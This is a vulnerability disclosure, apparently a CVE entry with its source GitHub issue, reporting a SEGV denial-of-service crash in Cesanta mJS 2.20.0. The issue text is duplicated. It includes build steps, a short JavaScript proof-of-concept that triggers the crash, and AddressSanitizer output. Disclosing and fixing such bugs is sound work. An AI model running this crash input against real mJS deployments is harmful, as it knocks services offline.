Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /usr/local/bin/mjs+0x9a30e. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
function Aply() {
    return Object.create.apply({}, [Object]);
}
function JSEtest(i) {
    return Aply(i, 1, 2, 3);
}
JSEtest(89)[Object.create--]
JSEtest(0.2)
```
</code></pre>
</details>
​

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js

ASAN:DEADLYSIGNAL
=================================================================
==87532==ERROR: AddressSanitizer: SEGV on unknown address 0x55d1329c929c (pc 0x55d1329c930f bp 0x615000000080 sp 0x7ffe4957a058 T0)
==87532==The signal is caused by a WRITE memory access.
    #0 0x55d1329c930e  (/usr/local/bin/mjs+0x9a30e)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x9a30e)
==87532==ABORTING
```


SEGV (/usr/local/bin/mjs+0x9a30e)
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : SEGV (/usr/local/bin/mjs+0x9a30e)
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
function Aply() {
    return Object.create.apply({}, [Object]);
}
function JSEtest(i) {
    return Aply(i, 1, 2, 3);
}
JSEtest(89)[Object.create--]
JSEtest(0.2)
```
</code></pre>
</details>
​

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js

ASAN:DEADLYSIGNAL
=================================================================
==87532==ERROR: AddressSanitizer: SEGV on unknown address 0x55d1329c929c (pc 0x55d1329c930f bp 0x615000000080 sp 0x7ffe4957a058 T0)
==87532==The signal is caused by a WRITE memory access.
    #0 0x55d1329c930e  (/usr/local/bin/mjs+0x9a30e)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x9a30e)
==87532==ABORTING
```


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